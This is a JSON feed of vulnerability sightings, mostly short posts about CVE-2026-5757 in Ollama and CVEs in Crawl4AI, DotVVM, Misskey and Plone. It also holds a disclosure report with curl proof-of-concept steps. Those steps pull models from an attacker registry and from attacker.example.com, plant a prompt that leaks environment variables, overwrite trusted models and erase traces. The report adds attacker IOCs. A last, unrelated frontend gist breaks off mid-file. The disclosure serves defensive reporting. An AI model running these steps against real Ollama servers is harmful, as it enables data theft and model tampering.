{"vulnerability": "cve-2026-5757", "sightings": [{"uuid": "b6ad07fb-2cfd-43b6-8c4c-7d3e44175048", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5757", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mkda6kaxwz2n", "content": "", "creation_timestamp": "2026-04-25T14:17:03.394942Z"}, {"uuid": "69cba27b-aba7-49fb-aa3d-688073cdce0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5757", "type": "seen", "source": "https://bsky.app/profile/ai-sight.bsky.social/post/3mlbg25s2eo26", "content": "Krytyczna podatno\u015b\u0107 bezpiecze\u0144stwa CVE-2026-5757 w Ollamie pozwala na wykradanie danych z serwer\u00f3w za pomoc\u0105 specjalnie spreparowanych plik\u00f3w GGUF. Luka ta wykorzystuje brak walidacji metadanych w mechanizmie kwantyzacji, co mo\u017ce prowadzi\u0107 do nieautoryzowanego dost\u0119pu do wra\u017cliwych informacji.", "creation_timestamp": "2026-05-07T14:21:50.567671Z"}, {"uuid": "7f224a47-0d7e-4788-a953-ff3228ca24ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5757", "type": "seen", "source": "https://gist.github.com/k4w1992-lgtm/f7d62503adb3599bc60cdc0280254c23", "content": "# Huntr Submission: ollama/ollama \u2014 Unauthenticated Model Supply Chain Attack via Arbitrary Registry Pulling\n\n## TITLE\nUnauthenticated Ollama API allows arbitrary model injection from untrusted registries without integrity verification, enabling heap memory disclosure via crafted GGUF files\n\n## DESCRIPTION\n\nOllama's HTTP API (`/api/pull`, `/api/create`, `/api/copy`) accepts unauthenticated requests that allow any network-reachable attacker to:\n\n1. **Pull models from arbitrary, untrusted container registries** with zero integrity verification (no signing, no hash validation against a trust store, no registry allowlist)\n2. **Create models from arbitrary GGUF files** via `/api/create` with a `FROM` directive pointing to any external URL or local path\n3. **Copy and overwrite existing models** without authorization\n\nThis is a **code-level design flaw**: Ollama's `api.go` and `image.go` perform no source validation on the registry URL or model provenance before downloading and loading GGUF files into process memory. Combined with the unpatched CVE-2026-5757 (heap memory disclosure via crafted GGUF in the quantization engine), this creates a complete attack chain:\n\n**Unauthenticated pull from malicious registry \u2192 crafted GGUF loaded into process memory \u2192 heap OOB read via CVE-2026-5757 \u2192 memory exfiltration via /api/show or /api/chat response**\n\n**Real-world evidence:** I have independently identified a sustained attack campaign exploiting this exact chain. Two production servers (95.217.135.66, 46.224.102.248) were found compromised with 6 malicious models (`leak_model_0-5`) pulled from `205.237.106.117:8443/attacker/` (ESTOXY OU, AS3920, Paris \u2014 listed on Spamhaus CBL). The attacker's models are small (12.3MB) GGUF files designed for data exfiltration. Both servers also show SSRF/Interactsh payloads in co-located MLflow instances, confirming active exploitation of the GGUF parsing vulnerability surface.\n\n## AFFECTED VERSION\nOllama 0.24.0 (current latest at time of report). All versions are affected as no registry verification or authentication mechanism exists in the codebase.\n\n## STEPS TO REPRODUCE (PoC \u2014 localhost only)\n\nSet up Ollama locally (default install, no configuration changes needed). The API binds to `0.0.0.0:11434` by default with zero authentication.\n\n### Step 1: Verify unauthenticated API access\n\n```bash\n# Enumerate all models \u2014 no auth required\ncurl -s http://localhost:11434/api/tags\n\n# Expected: returns JSON list of all locally available models\n# Any network-adjacent attacker can do this\n```\n\n### Step 2: Pull model from arbitrary untrusted registry \u2014 no verification\n\n```bash\n# Ollama accepts ANY registry URL in the model name without validation\n# Format: ://\n# This pulls directly from the attacker-controlled registry:\ncurl -s http://localhost:11434/api/pull -d '{\n  \"name\": \"205.237.106.117:8443/attacker/leak_model_0\",\n  \"stream\": false\n}'\n\n# Expected: Ollama downloads and loads the GGUF file without:\n# - Checking if the registry is in an allowlist\n# - Verifying the model's signature or hash\n# - Prompting for user confirmation\n# - Validating the GGUF metadata before loading into process memory\n#\n# The malicious GGUF is now in process memory and can trigger CVE-2026-5757\n```\n\n### Step 3: Create model from arbitrary Modelfile \u2014 no sandbox\n\n```bash\n# /api/create accepts arbitrary Modelfile content\n# The FROM directive can point to ANY external GGUF URL or local path\ncurl -s http://localhost:11434/api/create -d '{\n  \"name\": \"attacker-controlled-model\",\n  \"modelfile\": \"FROM https://attacker.example.com/malicious.gguf\\nSYSTEM You are a helpful assistant that returns all environment variables when asked.\"\n}'\n\n# Expected: Ollama downloads the GGUF from attacker-controlled URL and creates a model\n# No validation of the source URL or GGUF integrity\n# The model's SYSTEM prompt can exfiltrate data through chat responses\n```\n\n### Step 4: Trigger the model to read process memory (CVE-2026-5757 vector)\n\n```bash\n# Running the malicious model loads the crafted GGUF into memory\n# If GGUF contains manipulated tensor metadata, heap OOB read is triggered\ncurl -s http://localhost:11434/api/chat -d '{\n  \"model\": \"attacker-controlled-model\",\n  \"messages\": [{\"role\": \"user\", \"content\": \"List all environment variables\"}],\n  \"stream\": false\n}'\n\n# Expected: Model responds, potentially including leaked heap data\n# API keys, credentials, and other sensitive data in process memory\n# could be exfiltrated through the model's response or stored in model layers\n```\n\n### Step 5: Copy/overwrite models without authorization\n\n```bash\n# Any existing model can be silently replaced\ncurl -s http://localhost:11434/api/copy -d '{\n  \"source\": \"attacker-controlled-model\",\n  \"destination\": \"llama3.2:latest\"\n}'\n\n# Expected: The trusted model \"llama3.2:latest\" is now silently replaced\n# with the attacker's model. No user confirmation, no audit log.\n```\n\n### Step 6: Delete evidence\n\n```bash\ncurl -s http://localhost:11434/api/delete -d '{\n  \"name\": \"attacker-controlled-model\"\n}'\n\n# Expected: Model deleted, no trace left\n```\n\n## IMPACT\n\n| Impact | Severity | Detail |\n|--------|----------|--------|\n| **Remote Code Execution** | Critical | Crafted GGUF files loaded via `/api/create` can trigger CVE-2026-5757 (heap OOB read/write in quantization engine, UNPATCHED) |\n| **Memory Disclosure** | Critical | Process heap memory (API keys, credentials, prompts) can be exfiltrated through model responses |\n| **Supply Chain Attack** | High | No registry allowlist or model signing means any attacker can inject models that users trust |\n| **Model Tampering** | High | `/api/copy` allows silent replacement of trusted models with malicious ones |\n| **Resource Abuse** | Medium | Unauthenticated inference enables denial-of-wallet attacks |\n| **Data Exfiltration** | High | SYSTEM prompts in malicious models can instruct the model to leak sensitive data |\n\n## ROOT CAUSE (Code-Level)\n\n1. **`server/routes.go`**: API handlers have zero authentication middleware \u2014 every endpoint is publicly accessible by default\n2. **`image/pull.go`**: The `PullModel` function accepts any registry URL in the model name without validation against an allowlist\n3. **`ggml/gguf.go`**: GGUF tensor metadata is trusted without bounds checking before memory allocation (CVE-2026-5757)\n4. **`server/model.go`**: `/api/copy` and `/api/create` have no authorization checks or user confirmation\n\n## RECOMMENDATION\n\n1. Add an `OLLAMA_ALLOWED_REGISTRIES` config option (default: `registry.ollama.ai` only)\n2. Add basic API authentication (token or API key) as an opt-in config\n3. Implement GGUF metadata validation before loading (check tensor offsets against file size)\n4. Require user confirmation for `/api/copy` operations that overwrite existing models\n5. Add audit logging for all model lifecycle operations\n\n## REAL-WORLD CAMPAIGN EVIDENCE\n\nThis vulnerability chain is being **actively exploited in the wild**:\n\n- **2+ production servers** confirmed compromised with `leak_model_0-5` models from `205.237.106.117:8443/attacker/`\n- **Attacker organization**: ESTOXY OU / PUSHPKT OU (AS3920, Paris, France) \u2014 listed on Spamhaus CBL\n- **1,521+ exposed MLflow/Ollama instances** identified via Censys scanning\n- **SSRF/Interactsh payloads** (oast.me, oast.fun, oast.live, dnsg.cc) found in model version source URLs, confirming CVE-2023-1177 and related SSRF exploitation\n- All malicious models are small (12.3MB) GGUF files consistent with data exfiltration payloads, not legitimate ML models\n\n## IOCs\n\n| Type | Value |\n|------|-------|\n| Attacker IP | 205.237.106.117 |\n| Attacker CIDR | 205.237.104.0/22 |\n| Attacker Registry | 205.237.106.117:8443 |\n| Attacker Org | ESTOXY OU / PUSHPKT OU (AS3920) |\n| Malicious Models | leak_model_0-5_* (variants: _198e01, _cc509d) |\n| SSRF Domains | *.oast.me, *.oast.fun, *.oast.live, *.a.dnsg.cc |\n| Model Digests | See Appendix A of MLflow_Kompromission_Rapport |\n", "creation_timestamp": "2026-05-18T18:18:06.000000Z"}, {"uuid": "b139206e-82e5-4648-8e7f-fc3207bd78d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5757", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpgnicmabh2t", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-5757 \u0432 Ollama: \u0443\u0433\u0440\u043e\u0437\u0430 \u0443\u0442\u0435\u0447\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/1BF8C6C9-F8FE-423C-AB70-E2EF0CA8966D", "creation_timestamp": "2026-06-29T13:59:06.427272Z"}, {"uuid": "78768e76-c0f9-4aa1-987d-c91fd7bb55d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5757", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mpgnlnghgt2r", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-5757](https://kb.cert.org/vuls/id/518910)\nUnauthenticated remote information disclosure...\nhttps://kb.cert.org/vuls/id/518910 #Vulnerability #CVE #ZeroDay", "creation_timestamp": "2026-06-29T14:00:57.916399Z"}, {"uuid": "e5d967e2-068d-4956-bfd4-3d4fcccdf79a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5757", "type": "seen", "source": "https://bsky.app/profile/alexchen01.bsky.social/post/3mpgnnimvva2s", "content": "cve-2026-5757. is this a new one or details on an existing issue?", "creation_timestamp": "2026-06-29T14:02:00.118390Z"}, {"uuid": "224df6d8-286c-45b7-ae56-db5f614d387d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57571", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mpz26euuhl2b", "content": "CVE-2026-57571\nThe Crawl4AI web crawler and scraper saves downloaded files using user-controlled names, potentially allowing attackers to write files anywhere on the system. This could lead to remote code execution if an\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-06T21:34:07.093135Z"}, {"uuid": "34c403cd-5f94-432c-be95-cd5813b48dff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57572", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mpz2bv4bh42x", "content": "CVE-2026-57572\nThe Crawl4AI web crawler, used for scraping and crawling, had a security issue prior to version 0.9.0. An attacker could exploit this issue to run malicious code on the system, potentially leading to\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-06T21:36:05.123236Z"}, {"uuid": "2b6a745e-cf16-4bce-b261-98edd1479891", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57571", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mpz7m2dufn2t", "content": "CVE-2026-57571 - Critical RCE in Crawl4AI. Unrestricted file write via path traversal in filename handling. CVSS 9.6. No patch available. Disable file saving or use sandboxing immediately. #CVE #infosec #cybersecurity\n\nhttps://www.valtersit.com/cve/CVE-2026-57571/", "creation_timestamp": "2026-07-06T23:11:14.577886Z"}, {"uuid": "e54f0f69-fe6c-45e9-a3d5-00d2b0b83c6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57573", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mq3psdc4xv2j", "content": "CVE-2026-57573 - SSRF in Crawl4AI Docker API. Streaming paths skip destination validation. Unauthenticated remote access to internal networks. CVSS 8.6. No patch available. Mitigate immediately. #CVE #infosec #Crawl4AI\n\nhttps://www.valtersit.com/cve/CVE-2026-57573/", "creation_timestamp": "2026-07-07T23:06:24.641395Z"}, {"uuid": "57552b3e-ec85-4296-96dc-9e3f1a968e92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57571", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mq4cbokfwz26", "content": "\ud83d\udccc CVE-2026-57571 - Crawl4AI is an open-source LLM-friendly web crawler and scraper. Prior to 0.9.0, when the crawler saves a downloaded file, the destination filename wa... https://www.cyberhub.blog/cves/CVE-2026-57571", "creation_timestamp": "2026-07-08T04:37:06.812536Z"}, {"uuid": "b25076f0-2962-446e-9e30-6ea6250f9f75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57572", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mq3zvgxxvv25", "content": "\ud83d\udccc CVE-2026-57572 - Crawl4AI is an open-source LLM-friendly web crawler and scraper. Prior to 0.9.0, the Docker API server accepted request-supplied browser_config.extra_... https://www.cyberhub.blog/cves/CVE-2026-57572", "creation_timestamp": "2026-07-08T02:07:06.601881Z"}, {"uuid": "16796d62-153c-4401-9730-edf4327aab32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57574", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdmhdxjlc2s", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-57574 \u0432 Misskey: \u0443\u0433\u0440\u043e\u0437\u044b, \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/6CADCEB1-A198-487D-91AA-4AAFAEE5AC01", "creation_timestamp": "2026-07-11T02:27:53.954871Z"}, {"uuid": "d1411d00-4ff2-4733-a78f-126ff68f1c48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57575", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdmia3hty2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-57575 \u0432 Misskey: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/544D3B9A-3548-439E-95EA-A1ABB996E3BC", "creation_timestamp": "2026-07-11T02:28:21.937336Z"}, {"uuid": "ce3cf54d-c859-4bf2-8d1e-b556337feffb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57573", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqidttb4wg2f", "content": "\ud83d\udccc CVE-2026-57573 - Crawl4AI is an open-source LLM-friendly web crawler and scraper. Prior to 0.9.0, the Docker API server applied its SSRF destination check on the non-s... https://www.cyberhub.blog/cves/CVE-2026-57573", "creation_timestamp": "2026-07-12T23:37:06.582885Z"}, {"uuid": "820d322e-cc6e-4b33-a687-5aad41c7b112", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57578", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvir3mxqmp2j", "content": "CVE-2026-57578 - dotvvm\nVersions of the DotVVM framework released before the latest updates do not properly check whether a user is allowed to run certain actions. This means that protected features could be\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#dotvvm #riganti #CVE #infosec", "creation_timestamp": "2026-09-14T18:40:07.169694Z"}, {"uuid": "83c95ef6-b322-4341-9f1b-5bf0f60f74d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57578", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvivyykzsy2f", "content": "\ud83d\udea8 CVE-2026-57578 \u2014 CVSS 9.2 CRITICAL\n\nDotVVM is an open source MVVM framework for web applications. Prior to 4.2.11, 4.3.15, and 5.0.0-preview09-...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-57578\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-14T20:08:05.145127Z"}, {"uuid": "3f08eb9c-2b1d-4f2f-a0be-d2fecc773e3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57578", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvjucbmqtd22", "content": "CVE-2026-57578 - dotvvm\nThe DotVVM AuthorizeActionFilter does not enforce authorization, allowing unauthorized users to access protected content. This affects all users of the filter, which is a\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#dotvvm #riganti #dotnet #CVE #infosec", "creation_timestamp": "2026-09-15T05:10:08.770454Z"}, {"uuid": "87d673df-50da-424f-9c0e-17ba0941d749", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57576", "type": "seen", "source": "https://gist.github.com/alon710/596ae516160a36b600032831d0a4ec2c", "content": "# CVE-2026-57576: CVE-2026-57576: Application-Level Denial of Service via Uncontrolled Resource Consumption in Plone\n\n&gt; **CVSS Score:** 6.5\n&gt; **Published:** 2026-09-23\n&gt; **Full Report:** https://cvereports.com/reports/CVE-2026-57576\n\n## Summary\nCVE-2026-57576 is an application-level Denial of Service (DoS) vulnerability in Plone. It resides in the `plone.app.dexterity` and `plone.app.contenttypes` packages, allowing authenticated users with content creation permissions to submit excessively long metadata attributes. Because these fields are stored without length limits and subsequently processed by indexing and rendering engines, they trigger complete server resource exhaustion and thread starvation.\n\n## TL;DR\nLow-privilege authenticated users can trigger an application-level denial of service in Plone by uploading files with extremely long names or saving excessively long titles and descriptions, leading to database indexing bloat and thread crashes.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-400\n- **Attack Vector**: Network (AV:N)\n- **CVSS Base Score**: 6.5\n- **EPSS Score**: 0.00762\n- **EPSS Percentile**: 53.91%\n- **Exploit Status**: poc\n- **CISA KEV Status**: Not Listed\n\n## Affected Systems\n\n- Plone Content Management System\n- plone.app.dexterity\n- plone.app.contenttypes\n- **plone.app.dexterity**: &lt; 3.2.3 (Fixed in: `3.2.3`)\n- **plone.app.dexterity**: &gt;= 4.0.0, &lt; 4.1.3 (Fixed in: `4.1.3`)\n- **plone.app.dexterity**: = 5.0.0 (Fixed in: `5.0.1`)\n- **plone.app.contenttypes**: &lt; 3.0.12 (Fixed in: `3.0.12`)\n- **plone.app.contenttypes**: &gt;= 4.0.0, &lt; 4.0.10 (Fixed in: `4.0.10`)\n- **plone.app.contenttypes**: = 5.0.0 (Fixed in: `5.0.1`)\n\n## Mitigation\n\n- Upgrade plone.app.dexterity and plone.app.contenttypes to patched versions\n- Apply runtime monkey patches to schema definitions\n- Implement WAF rules limiting POST payload/header size\n- Audit and scrub pre-existing oversized fields in the ZODB\n\n**Remediation Steps:**\n1. Identify the current versions of Plone packages in the buildout configuration.\n2. Update buildout.cfg or requirements.txt to pin plone.app.dexterity to 3.2.3, 4.1.3, or 5.0.1 depending on the release line.\n3. Update plone.app.contenttypes to 3.0.12, 4.0.10, or 5.0.1 depending on the release line.\n4. Run bin/buildout to fetch and install the updated packages.\n5. Restart the Plone/Zope backend servers to load the changes.\n6. Execute a database check to verify no existing objects contain oversized title or description properties.\n\n## References\n\n- [GitHub Security Advisory (plone.app.dexterity)](https://github.com/plone/plone.app.dexterity/security/advisories/GHSA-5426-92w4-wvhv)\n- [GitHub Security Advisory (plone.app.contenttypes)](https://github.com/plone/plone.app.contenttypes/security/advisories/GHSA-8pcw-h6w9-h46g)\n- [Official CVE.org Record](https://www.cve.org/CVERecord?id=CVE-2026-57576)\n- [NVD Vulnerability Details](https://nvd.nist.gov/vuln/detail/CVE-2026-57576)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-57576) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-09-24T01:31:30.564054Z"}, {"uuid": "e4542b8f-76b7-4e72-9c7e-685756cf1927", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5757", "type": "seen", "source": "https://gist.github.com/rafael-arkhe/069fccf27b9b82220745476f1c7d6b22", "content": "# Arkhe-AI \u2014 Frontend, Design e UI/UX\n\nFrontend completo do n\u00facleo de IA verific\u00e1vel. Segue a linguagem de design descrita no corpus: **dark neon forense** (`#0a0a1a` de fundo, `#7ec8e3` de acento), **dois modos** (Basic 5 telas / Expert 15 telas), **responsive** (sidebar desktop + bottom nav mobile), **fail-closed visual** (todo estado \u00e9 expl\u00edcito: `\u2705 VERIFIED` / `\u26a0\ufe0f PARTIAL` / `\u274c FAILED` / `\u2b1c [NONEXISTENT]` / `\u23f3 PENDING` / `\ud83d\udd12 BLOCKED`).\n\n---\n\n## 1. Estrutura do Projeto\n\n```\narkhe-ai-ui/\n\u251c\u2500\u2500 package.json\n\u251c\u2500\u2500 vite.config.ts\n\u251c\u2500\u2500 tailwind.config.js\n\u251c\u2500\u2500 postcss.config.js\n\u251c\u2500\u2500 tsconfig.json\n\u251c\u2500\u2500 tsconfig.node.json\n\u251c\u2500\u2500 index.html\n\u251c\u2500\u2500 README.md\n\u251c\u2500\u2500 src/\n\u2502   \u251c\u2500\u2500 main.tsx\n\u2502   \u251c\u2500\u2500 App.tsx\n\u2502   \u251c\u2500\u2500 styles/\n\u2502   \u2502   \u2514\u2500\u2500 globals.css\n\u2502   \u251c\u2500\u2500 lib/\n\u2502   \u2502   \u251c\u2500\u2500 utils.ts\n\u2502   \u2502   \u251c\u2500\u2500 mock-data.ts\n\u2502   \u2502   \u251c\u2500\u2500 api.ts\n\u2502   \u2502   \u2514\u2500\u2500 constants.ts\n\u2502   \u251c\u2500\u2500 contexts/\n\u2502   \u2502   \u2514\u2500\u2500 AppContext.tsx\n\u2502   \u251c\u2500\u2500 hooks/\n\u2502   \u2502   \u251c\u2500\u2500 useKeyboardShortcuts.ts\n\u2502   \u2502   \u2514\u2500\u2500 useMediaQuery.ts\n\u2502   \u251c\u2500\u2500 components/\n\u2502   \u2502   \u251c\u2500\u2500 ui/\n\u2502   \u2502   \u2502   \u251c\u2500\u2500 Button.tsx\n\u2502   \u2502   \u2502   \u251c\u2500\u2500 Card.tsx\n\u2502   \u2502   \u2502   \u251c\u2500\u2500 Badge.tsx\n\u2502   \u2502   \u2502   \u251c\u2500\u2500 Progress.tsx\n\u2502   \u2502   \u2502   \u251c\u2500\u2500 Tabs.tsx\n\u2502   \u2502   \u2502   \u251c\u2500\u2500 Dialog.tsx\n\u2502   \u2502   \u2502   \u251c\u2500\u2500 Toast.tsx\n\u2502   \u2502   \u2502   \u251c\u2500\u2500 Skeleton.tsx\n\u2502   \u2502   \u2502   \u251c\u2500\u2500 EmptyState.tsx\n\u2502   \u2502   \u2502   \u2514\u2500\u2500 Field.tsx\n\u2502   \u2502   \u251c\u2500\u2500 layout/\n\u2502   \u2502   \u2502   \u251c\u2500\u2500 Shell.tsx\n\u2502   \u2502   \u2502   \u251c\u2500\u2500 Sidebar.tsx\n\u2502   \u2502   \u2502   \u251c\u2500\u2500 Header.tsx\n\u2502   \u2502   \u2502   \u2514\u2500\u2500 MobileNav.tsx\n\u2502   \u2502   \u251c\u2500\u2500 verification/\n\u2502   \u2502   \u2502   \u251c\u2500\u2500 VerificationCard.tsx\n\u2502   \u2502   \u2502   \u251c\u2500\u2500 GateStatusRow.tsx\n\u2502   \u2502   \u2502   \u251c\u2500\u2500 EvidenceCard.tsx\n\u2502   \u2502   \u2502   \u2514\u2500\u2500 InvariantTable.tsx\n\u2502   \u2502   \u251c\u2500\u2500 wormgraph/\n\u2502   \u2502   \u2502   \u251c\u2500\u2500 WormGraphCanvas.tsx\n\u2502   \u2502   \u2502   \u2514\u2500\u2500 EventLog.tsx\n\u2502   \u2502   \u251c\u2500\u2500 models/\n\u2502   \u2502   \u2502   \u2514\u2500\u2500 ModelGrid.tsx\n\u2502   \u2502   \u251c\u2500\u2500 governance/\n\u2502   \u2502   \u2502   \u251c\u2500\u2500 HITLModal.tsx\n\u2502   \u2502   \u2502   \u2514\u2500\u2500 QuorumBar.tsx\n\u2502   \u2502   \u251c\u2500\u2500 ai/\n\u2502   \u2502   \u2502   \u251c\u2500\u2500 InferencePanel.tsx\n\u2502   \u2502   \u2502   \u251c\u2500\u2500 RoutingTable.tsx\n\u2502   \u2502   \u2502   \u2514\u2500\u2500 ContextViewer.tsx\n\u2502   \u2502   \u2514\u2500\u2500 policy/\n\u2502   \u2502       \u251c\u2500\u2500 PolicyTable.tsx\n\u2502   \u2502       \u2514\u2500\u2500 SequencingView.tsx\n\u2502   \u2514\u2500\u2500 screens/\n\u2502       \u251c\u2500\u2500 Home.tsx\n\u2502       \u251c\u2500\u2500 Models.tsx\n\u2502       \u251c\u2500\u2500 Verify.tsx\n\u2502       \u251c\u2500\u2500 Logs.tsx\n\u2502       \u251c\u2500\u2500 Settings.tsx\n\u2502       \u251c\u2500\u2500 expert/\n\u2502       \u2502   \u251c\u2500\u2500 Dashboard.tsx\n\u2502       \u2502   \u251c\u2500\u2500 Gates.tsx\n\u2502       \u2502   \u251c\u2500\u2500 WormGraph.tsx\n\u2502       \u2502   \u251c\u2500\u2500 AI.tsx\n\u2502       \u2502   \u251c\u2500\u2500 Routing.tsx\n\u2502       \u2502   \u251c\u2500\u2500 Context.tsx\n\u2502       \u2502   \u251c\u2500\u2500 Builder.tsx\n\u2502       \u2502   \u251c\u2500\u2500 Policy.tsx\n\u2502       \u2502   \u251c\u2500\u2500 Agentic.tsx\n\u2502       \u2502   \u251c\u2500\u2500 Invariants.tsx\n\u2502       \u2502   \u251c\u2500\u2500 Governance.tsx\n\u2502       \u2502   \u2514\u2500\u2500 MobileExpert.tsx\n\u2502       \u2514\u2500\u2500 settings/\n\u2502           \u251c\u2500\u2500 AISettings.tsx\n\u2502           \u251c\u2500\u2500 TEESettings.tsx\n\u2502           \u251c\u2500\u2500 SecuritySettings.tsx\n\u2502           \u2514\u2500\u2500 AdvancedSettings.tsx\n```\n\n---\n\n## 2. Configura\u00e7\u00e3o Raiz\n\n### `package.json`\n\n```json\n{\n  \"name\": \"arkhe-ai-ui\",\n  \"private\": true,\n  \"version\": \"0.1.0\",\n  \"type\": \"module\",\n  \"scripts\": {\n    \"dev\": \"vite\",\n    \"build\": \"tsc -b &amp;&amp; vite build\",\n    \"preview\": \"vite preview\",\n    \"lint\": \"eslint . --max-warnings 0\",\n    \"typecheck\": \"tsc --noEmit\",\n    \"format\": \"prettier --write .\",\n    \"test\": \"vitest run\",\n    \"test:watch\": \"vitest\"\n  },\n  \"dependencies\": {\n    \"react\": \"^19.0.0\",\n    \"react-dom\": \"^19.0.0\",\n    \"react-router-dom\": \"^7.0.0\",\n    \"lucide-react\": \"^0.460.0\",\n    \"recharts\": \"^2.13.0\",\n    \"d3-force\": \"^3.0.0\",\n    \"clsx\": \"^2.1.1\",\n    \"tailwind-merge\": \"^2.5.0\",\n    \"zustand\": \"^5.0.0\"\n  },\n  \"devDependencies\": {\n    \"@types/react\": \"^19.0.0\",\n    \"@types/react-dom\": \"^19.0.0\",\n    \"@types/d3-force\": \"^3.0.10\",\n    \"@vitejs/plugin-react\": \"^4.3.0\",\n    \"autoprefixer\": \"^10.4.20\",\n    \"postcss\": \"^8.4.47\",\n    \"tailwindcss\": \"^3.4.0\",\n    \"typescript\": \"^5.6.0\",\n    \"vite\": \"^6.0.0\",\n    \"vitest\": \"^2.1.0\"\n  }\n}\n```\n\n### `vite.config.ts`\n\n```ts\nimport { defineConfig } from 'vite';\nimport react from '@vitejs/plugin-react';\nimport path from 'node:path';\n\nexport default defineConfig({\n  plugins: [react()],\n  resolve: {\n    alias: {\n      '@': path.resolve(__dirname, 